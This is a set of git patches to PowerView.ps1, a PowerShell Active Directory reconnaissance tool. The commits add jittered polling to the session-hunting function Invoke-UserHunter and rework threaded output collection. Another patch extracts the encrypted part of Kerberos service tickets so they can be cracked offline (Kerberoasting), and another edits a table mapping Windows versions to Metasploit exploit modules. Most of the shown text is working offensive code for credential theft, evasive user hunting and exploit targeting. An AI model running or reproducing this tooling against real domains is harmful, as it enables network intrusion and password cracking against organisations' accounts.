Noteproperty 'SessionFrom' $Null + $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin + } + else { + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null + } + $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') + $FoundUser + } + } + } + } + } + + if ($Poll -gt 0) { + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + } + } While ($Poll -gt 0 -and $Timer.Elapsed.TotalSeconds -lt $Poll) } } - } process { @@ -9922,6 +9950,9 @@ function Invoke-UserHunter { 'CurrentUser' = $CurrentUser 'Stealth' = $Stealth 'DomainShortName' = $DomainShortName + 'Poll' = $Poll + 'Delay' = $Delay + 'Jitter' = $Jitter } # kick off the threaded script block + arguments @@ -9937,6 +9968,7 @@ function Invoke-UserHunter { Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" $Counter = 0 + $RandNo = New-Object System.Random ForEach ($Computer in $ComputerName) { @@ -9946,7 +9978,7 @@ function Invoke-UserHunter { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, 0, 0, 0 $Result if($Result -and $StopOnSuccess) { -- cgit v1.2.3 From 9b365e82b1bcf9957179ada3e1df4f6feb1c5888 Mon Sep 17 00:00:00 2001 From: Jon Cave Date: Sat, 13 Aug 2016 12:05:12 +0100 Subject: Continuously collect output from background threads MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The PowerShell.BeginInvoke(PSDataCollection, PSDataCollection) method[1] is used to collect output from each job into a buffer. This can be read whilst the jobs are still running. Being able to return partial results is particularly useful for long running background threads, such as Invoke-UserHunter -Poll. PowerShell 2.0 doesn't play nicely with generic methods. The technique described in [2] is used to allow this version of BeginInvoke() to be used. [1] https://msdn.microsoft.com/en-us/library/dd182440(v=vs.85).aspx [2] http://www.leeholmes.com/blog/2007/06/19/invoking-generic-methods-on-non-generic-classes-in-powershell/ --- Recon/PowerView.ps1 | 61 ++++++++++++++++++++++++----------------------------- 1 file changed, 27 insertions(+), 34 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c1828c8..796b5d7 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -9277,11 +9277,16 @@ function Invoke-ThreadedFunction { $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) $Pool.Open() - $Jobs = @() - $PS = @() - $Wait = @() + $method = $null + ForEach ($m in [PowerShell].GetMethods() | Where-Object { $_.Name -eq "BeginInvoke" }) { + $methodParameters = $m.GetParameters() + if (($methodParameters.Count -eq 2) -and $methodParameters[0].Name -eq "input" -and $methodParameters[1].Name -eq "output") { + $method = $m.MakeGenericMethod([Object], [Object]) + break + } + } - $Counter = 0 + $Jobs = @() } process { @@ -9297,54 +9302,42 @@ function Invoke-ThreadedFunction { } # create a "powershell pipeline runner" - $PS += [powershell]::create() + $p = [powershell]::create() - $PS[$Counter].runspacepool = $Pool + $p.runspacepool = $Pool # add the script block + arguments - $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) + $Null = $p.AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) if($ScriptParameters) { ForEach ($Param in $ScriptParameters.GetEnumerator()) { - $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) + $Null = $p.AddParameter($Param.Name, $Param.Value) } } - # start job - $Jobs += $PS[$Counter].BeginInvoke(); + $o = New-Object Management.Automation.PSDataCollection[Object] - # store wait handles for WaitForAll call - $Wait += $Jobs[$Counter].AsyncWaitHandle + $Jobs += @{ + PS = $p + Output = $o + Result = $method.Invoke($p, @($null, [Management.Automation.PSDataCollection[Object]]$o)) + } } - $Counter = $Counter + 1 } } end { + Write-Verbose "Waiting for threads to finish..." - Write-Verbose "Waiting for scanning threads to finish..." - - $WaitTimeout = Get-Date - - # set a 60 second timeout for the scanning threads - while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -and $($($(Get-Date) - $WaitTimeout).totalSeconds) -lt 60) { - Start-Sleep -MilliSeconds 500 + Do { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() } + } While (($Jobs | Where-Object { ! $_.Result.IsCompleted }).Count -gt 0) - # end async call - for ($y = 0; $y -lt $Counter; $y++) { - - try { - # complete async job - $PS[$y].EndInvoke($Jobs[$y]) - - } catch { - Write-Warning "error: $_" - } - finally { - $PS[$y].Dispose() - } + ForEach ($Job in $Jobs) { + $Job.PS.Dispose() } - + $Pool.Dispose() Write-Verbose "All threads completed!" } -- cgit v1.2.3 From 462c6e83cb144c31e14df92856aa853ed1955a08 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 13 Aug 2016 20:21:23 +0100 Subject: Retrieve Security groups by default --- Recon/PowerView.ps1 | 27 +++++++++++++++++++-------- 1 file changed, 19 insertions(+), 8 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 27f87c7..b9ef28c 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5077,22 +5077,26 @@ function Get-NetGroup { A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. + .PARAMETER AllTypes + + By default we will retrieve only Security, not Distribution Groups. + .EXAMPLE PS C:\> Get-NetGroup - - Returns the current groups in the domain. + + Returns the current security groups in the domain. .EXAMPLE PS C:\> Get-NetGroup -GroupName *admin* - + Returns all groups with "admin" in their group name. .EXAMPLE PS C:\> Get-NetGroup -Domain testing -FullData - + Returns full group data objects in the 'testing' domain #> @@ -5113,10 +5117,10 @@ function Get-NetGroup { [String] $Domain, - + [String] $DomainController, - + [String] $ADSpath, @@ -5129,7 +5133,10 @@ function Get-NetGroup { [Switch] $RawSids, - [ValidateRange(1,10000)] + [Switch] + $AllTypes, + + [ValidateRange(1,10000)] [Int] $PageSize = 200, @@ -5139,6 +5146,10 @@ function Get-NetGroup { begin { $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + if (!$AllTypes) + { + $Filter += "(groupType:1.2.840.113556.1.4.803:=2147483648)" + } } process { @@ -5193,7 +5204,7 @@ function Get-NetGroup { else { $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)" } - + $Results = $GroupSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { # if we're returning full data objects -- cgit v1.2.3 From 917a095a81c42a3bb5af284e007ee097529862e0 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 13 Aug 2016 20:26:29 +0100 Subject: Modify dependent functions --- Recon/PowerView.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index b9ef28c..862de38 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5359,15 +5359,15 @@ function Get-NetGroupMember { if ($Recurse -and $UseMatchingRule) { # resolve the group to a distinguishedname if ($GroupName) { - $Group = Get-NetGroup -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize + $Group = Get-NetGroup -AllTypes -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } elseif ($SID) { - $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize + $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } else { # default to domain admins $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" - $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize + $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } $GroupDN = $Group.distinguishedname $GroupFoundName = $Group.samaccountname @@ -13056,7 +13056,7 @@ function Find-ManagedSecurityGroups { #> # Go through the list of security groups on the domain and identify those who have a manager - Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object { + Get-NetGroup -FullData -Filter '(managedBy=*)' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object { # Retrieve the object that the managedBy DN refers to $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname -- cgit v1.2.3 From 432cc017baf1f71732675058b1e090fc23714f08 Mon Sep 17 00:00:00 2001 From: Matan Hart Date: Thu, 25 Aug 2016 12:27:15 +0300 Subject: Add the EncPart param to Request-SPNTicket Adds the ability to return the encrypted part of the ticket. This portion is the encrypted data that can be brute-forced with Kerberoast/Hashcat/JtR --- Recon/PowerView.ps1 | 31 +++++++++++++++++++++++++++++-- 1 file changed, 29 insertions(+), 2 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 27f87c7..d779cfa 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1321,12 +1321,22 @@ function Request-SPNTicket { .PARAMETER SPN The service principal name to request the ticket for. Required. + + .PARAMETER EncPart + + Switch. Return the encrypted portion of the ticket (cipher). .EXAMPLE PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" Request a kerberos service ticket for the specified SPN. + + .EXAMPLE + + PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" -EncPart + + Request a kerberos service ticket for the specified SPN and return the encrypted portion of the ticket. .EXAMPLE @@ -1346,7 +1356,11 @@ function Request-SPNTicket { [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)] [Alias('ServicePrincipalName')] [String[]] - $SPN + $SPN, + + [Alias('EncryptedPart')] + [Switch] + $EncPart ) begin { @@ -1356,7 +1370,20 @@ function Request-SPNTicket { process { ForEach($UserSPN in $SPN) { Write-Verbose "Requesting ticket for: $UserSPN" - New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + if (!$EncPart) { + New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + } + else { + $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + $TicketByteStream = $Ticket.GetRequest() + if ($TicketByteStream) + { + $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace "-" + [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split "A48201" + $Parts.RemoveAt($Parts.Count - 1) + $Parts -join "A48201" + } + } } } } -- cgit v1.2.3 From 8e41548e655a07b8c6f03b08520272a886bd0d26 Mon Sep 17 00:00:00 2001 From: Nick Landers Date: Tue, 13 Sep 2016 16:59:03 -0600 Subject: Break on ticket capture --- Recon/PowerView.ps1 | 1 + 1 file changed, 1 insertion(+) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 34d9458..f1dd0a9 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1382,6 +1382,7 @@ function Request-SPNTicket { [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split "A48201" $Parts.RemoveAt($Parts.Count - 1) $Parts -join "A48201" + break } } } -- cgit v1.2.3 From a70bbe61647c00b529d38c72515bd3f0a0089c28 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 1 Nov 2016 14:11:44 +0000 Subject: Add disabled and present searches to get-netfileservers --- Recon/PowerView.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index f1dd0a9..6dfccb4 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5642,13 +5642,13 @@ function Get-NetFileServer { } } } - - Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize | Where-Object {$_} | Where-Object { + $filter = "(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(scriptpath=*)(homedirectory=*)(profilepath=*))" + Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -Filter $filter | Where-Object {$_} | Where-Object { # filter for any target users if($TargetUsers) { $TargetUsers -Match $_.samAccountName } - else { $True } + else { $True } } | ForEach-Object { # split out every potential file server path if($_.homedirectory) { -- cgit v1.2.3 From 7b49e54eecbece602fe5186d1d7d7242aa001453 Mon Sep 17 00:00:00 2001 From: Antonio Quina Date: Thu, 1 Dec 2016 09:19:54 +0100 Subject: Updated Get-ExploitableSystem Removed *_netapi from Vista/2008 in Get-ExploitableSystem as they are not vulnerable --- Recon/PowerView.ps1 | 3 --- 1 file changed, 3 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 054969d..d35a9f0 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -12109,16 +12109,13 @@ function Get-ExploitableSystem { $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") -- cgit v1.2.3